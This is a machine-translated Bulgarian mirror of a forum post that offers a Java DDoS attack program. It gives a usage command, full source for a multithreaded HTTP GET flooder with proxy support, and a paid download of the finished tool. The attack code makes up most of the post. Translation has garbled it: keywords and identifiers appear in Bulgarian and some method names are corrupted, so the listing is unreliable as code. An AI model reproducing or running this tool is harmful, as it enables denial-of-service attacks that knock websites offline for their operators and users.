Тази статия е огледална статия за машинен превод, моля, кликнете тук, за да преминете към оригиналната статия.

Изглед: 15524|Отговор: 0

[Бакшиши] Java версия на програмата за нападатели D-DOS

[Копирай линк]
Публикувано в 1.12.2014 г. 15:21:57 ч. | | |
JAR код
dDOS атака, реализирана от Java.
Въпреки това, това не се различава от традиционния dDos.
Този софтуер е DDOS атака върху страница.
Как да използвате:
java -jar ccddos.jar www.xxx.com 80 10 /index.do username=xxx 80

[mw_shl_code=java,true]import java.io.IOException;
import java.net.ConnectException;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.SelectionKey;
import java.nio.channels.Selector;
import java.nio.channels.SocketChannel;
import java.util.Iterator;
import java.util.Random;
import java.util.Set;
import java.util.Timer;
import java.util.TimerTask;
import java.util.Vector;

/**
* Демонски нишки
*
* @author администрация
*
*/
Публичен класов тест {
    частен String host, uri, param;
    частен международен порт;
    частен финален вектор<CCDDOSThread> v = нов вектор<CCDDOSThread>();
    частен InetSocketAddress isa;
    private int threadsCount = 500; Брой нишки
    private Random r = нов Random();
    Частен дълъг таймаут = 5000L;

    /**
     * Отворете атаката
     */
    Public Void start() {
        за (int i = 0; I < threadsCount; i++) {
            CCDDOSThread t = нов CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Таймер t = нов Таймер();
        t.schedule(new TimerTask() {
            Публичен празнота() {
                int брой = 0, timeoutthreads = 0;
                long ct = System.currentTimeMillis();
                за (<CCDDOSThread>Итератор it = v.итератор(); it.hasNext(); ) {
                    CCDDOSThread th = it.next();
                    ако (th.isCancle() || !th.isAlive()) {
                        it.redele();
                        th = null;
                        count++;
                    } else if (ct - th.start > timeout) {
                        Таймаут, външен край
                        timeoutthreads++;
                        th.setCancle (true);
                        th.interrupt();
                        it.redele();
                        th = null;
                        count++;
                    }
                }
                ако (брой == 0) {
                    връщане;
                }
                system.out.println("Нишката е затворена:"+count+", където тайм-аут нишката е свързана:"
                        + timeoutthreads);
                за (int i = 0; Аз < преброя; i++) {
                    CCDDOSThread th = нов CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100l);
        system.out.println("Стартирана тема на демон:");
    }

    /**
     * @param args
     */
    public static void main(String[] args) {
        ако (args.length < 6) {
            System.out.println ("Инструкции:");
            System.out
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println(");
            System.exit(0);
        } else if (args.length >= 8) {
            Уговорете се с агент
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        тест m = нов тест();
        m.host = args[0];
        m.port = Integer.valueOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = Integer.valueOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = нов InetSocketAddress(m.host, m.port);
        m.start();
    }

    /**
     * Нишки за атака
     *
     * @author Чжанхонгбо
     *
     */
    class CCDDOSThread разширява Thread {
        частен булев канкл = невярно;
        публичен дълъг старт = System.currentTimeMillis();

        public void setCancle(boolean cancle) {
            this.cancle = cancle;
        }

        публичен булев isCancle() {
            Връщане на Канкле;
        }

        Публичен празнота() {
            дълъг старт = System.currentTimeMillis();
            Селектор селектор;
            try {
                селектор = Selector.open();
                SocketChannel sc;
                try {
                    sc = SocketChannel.open(isa);
                } catch (ConnectException ex) {
                    System.out.println(ex.getMessage());
                    cancle = вярно;
                    selector.close();
                    връщане;
                }

                sc.configureBlocking(false);
                sc.register(селектор, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                Чакай: докато (selector.select() > 0 && !cancle) {
                    if (System.currentTimeMillis() - start > timeout) {
                        cancle = вярно;
                        чакане за почивка;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Итератор<?> it = readykey.iterator();
                    докато (it.hasNext() && !cancle) {
                        if (System.currentTimeMillis() - start > timeout) {
                            cancle = вярно;
                            чакане за почивка;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.redele();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        ако ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            Струнна глава = "GET" + uri + "?" + param
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Хост: " + хост
                                    + "\r\n" + "Връзка:близо\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write (BBF);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } catch (IOException ex) {
                cancle = вярно;
            }
        }
    }
}
[/mw_shl_code]

Готов продукт и изтегляне на изходен код: java ddos.zip (8.42 KB, Брой изтегляния: 0, Цена за продажба: 2 Grain MB)





Предишен:Нека поговорим за най-голямата мистериозна DDoS атака с 400G в историята
Следващ:Изпратете iPhone 6, за да обсъдим версията без точки за пробиване на артефакти
Отричане:
Целият софтуер, програмни материали или статии, публикувани от Code Farmer Network, са само за учебни и изследователски цели; Горното съдържание не трябва да се използва за търговски или незаконни цели, в противен случай потребителите ще понесат всички последствия. Информацията на този сайт идва от интернет, а споровете за авторски права нямат нищо общо с този сайт. Трябва напълно да изтриете горното съдържание от компютъра си в рамките на 24 часа след изтеглянето. Ако ви харесва програмата, моля, подкрепете оригинален софтуер, купете регистрация и получете по-добри услуги. Ако има нарушение, моля, свържете се с нас по имейл.

Mail To:help@itsvse.com